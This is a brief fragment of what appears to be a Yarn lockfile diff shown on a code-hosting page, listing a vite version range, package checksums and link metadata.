vite: ^2.0.0 || ^3.0.0 || ^4.0.0 || ^5.0.0 || ^6.0.0 || ^7.0.0 || ^8.0.0
|
||||
checksum: 10/538076561ccfe16e6aa24f7fe9fdb86e0e23ac066fc42b4a6e8af491b2c5d7e3e4a5344694355015d684e2faa69f92e20978b1a1b944770e0d3b8acfea53cbe8
|
||||
checksum: 10/d3c795f144af2e6806948b6ed6e1842d56310bdcbfe17ca1efcbf6c297f2fd31994f4626cc138df39b2069d38b791960e1dd0f46efd8c7ca8d8c009697ab1721
|
||||
languageName: node
|
||||
linkType: hard
|
||||
|
||||
|
||||
Reference in New Issue
Block a user